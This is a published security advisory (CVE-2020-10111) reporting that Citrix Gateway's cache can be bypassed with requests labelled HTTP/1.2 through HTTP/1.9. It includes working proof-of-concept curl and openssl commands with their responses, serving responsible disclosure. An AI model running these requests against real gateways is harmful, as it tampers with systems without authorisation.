Citrix Gateway 11.1 / 12.0 / 12.1 Cache Bypass

`Advisory ID: SYSS-2020-006  
Product: Citrix Gateway  
Manufacturer: Citrix Systems, Inc.  
Affected Version(s): 11.1, 12.0, 12.1  
Tested Version(s): 11.1.63.15, 12.0.63.13, 12.1.55.18  
Vulnerability Type: Inconsistent Interpretation of HTTP Requests (CWE-444)  
Risk Level: Low  
Solution Status: Open  
Manufacturer Notification: 2020-01-31  
Solution Date: no solution  
Public Disclosure: 2020-03-05  
CVE Reference: CVE-2020-10111  
Author of Advisory: Micha Borrmann (SySS GmbH)  
  
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Overview:  
  
"Citrix Gateway is a customer-managed solution that can be deployed on  
premises or on any public cloud, such as AWS, Azure, or Google Cloud  
Platform. Citrix Gateway provides users with secure access and single  
sign-on to all the virtual, SaaS and web applications they need to be  
productive." (see [1])  
  
The solution contains a caching system, which stores content for a  
static period of time. With a simple attack the cache can be  
bypassed.  
  
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Vulnerability Details:  
  
Requests with the invalid and not specified protocols declared as  
HTTP/1.2 up to HTTP/1.9 can be used to bypass the caching system.  
  
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Proof of Concept (PoC):  
  
As described in the security advisory SYSS-2020-005, the cache can be  
poisoned. The value in the cache was poisoned with the value 42. But  
this request should be answered with the value 23.  
  
$ curl --include --url https://$NSGATEWAYHOST/logon/incremental.php --data "value=22"  
HTTP/1.1 200 OK  
Age: 5   
Date: Fri, 31 Jan 2020 12:26:03 GMT  
Expires: Thu, 01 Jan 1970 00:00:01 GMT  
Cache-Control: no-store, must-revalidate  
Connection: Keep-Alive  
Via: NS-CACHE-10.0: 121  
ETag: "KXGGENKFDKOU"  
Server: Apache  
X-Frame-Options: SAMEORIGIN  
Pragma: no-cache  
Content-Length: 3  
Content-Type: text/html; charset=UTF-8  
  
42  
  
  
Using HTTP/1.2 in the request, the cache can be bypassed and in the  
PoC request the value will be processed correctly.  
  
$ VALUE=22; echo -e "POST /logon/incremental.php HTTP/1.2\nHost: $NSGATEWAYHOST\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: $[${#VALUE}+6]\n\nvalue=$VALUE"|openssl s_client -connect $NSGATEWAYHOST:https -quiet  
depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority  
verify return:1  
depth=1 C = GB, ST = Greater Manchester, L = Salford, O = Sectigo Limited, CN = Sectigo RSA Domain Validation Secure Server CA  
verify return:1  
depth=0 CN = $NSGATEWAYHOST  
verify return:1  
HTTP/1.1 200 OK  
Date: Fri, 31 Jan 2020 12:27:42 GMT  
Server: Apache  
X-Frame-Options: SAMEORIGIN  
Cache-Control: no-store, must-revalidate  
Pragma: no-cache  
Expires: 0  
Content-Length: 3  
Keep-Alive: timeout=15, max=100  
Connection: Keep-Alive  
Content-Type: text/html; charset=UTF-8  
  
23  
  
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Solution:  
  
SySS GmbH is not aware of a solution to the described security issue.  
The Citrix Security Response Team responded on 02/28/2020 with the  
following statement: "We have determined that the described cache  
behavior does not have a security impact and is not considered a  
vulnerability."  
  
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Disclosure Timeline:  
  
2020-01-30: Detection of the vulnerability  
2020-01-31: Vulnerability reported to manufacturer  
2020-02-28: Received vendor's response  
2020-03-04: CVE number assigned  
2020-03-05: Public release of the security advisory  
  
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References:  
  
[1] Citrix Gateway product website  
https://www.citrix.com/products/citrix-gateway/  
[2] SySS Security Advisory SYSS-2020-006  
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-006.txt  
[3] SySS Responsible Disclosure Policy  
https://www.syss.de/en/responsible-disclosure-policy/  
  
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Credits:  
  
This security vulnerability was found by Micha Borrmann of SySS GmbH.  
  
E-Mail: micha.borrmann (at) syss.de  
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Micha_Borrmann.asc  
Key Fingerprint: F2E7 C6A5 9950 84ED 7AD6 0DD4 EDBE 26E7 14EA 5876  
  
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Disclaimer:  
  
The information provided in this security advisory is provided "as is"  
and without warranty of any kind. Details of this security advisory  
may be updated in order to provide as accurate information as  
possible. The latest version of this security advisory is available on  
the SySS Web site.  
  
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Copyright:  
  
Creative Commons - Attribution (by) - Version 3.0  
URL: http://creativecommons.org/licenses/by/3.0/deed.en  
  
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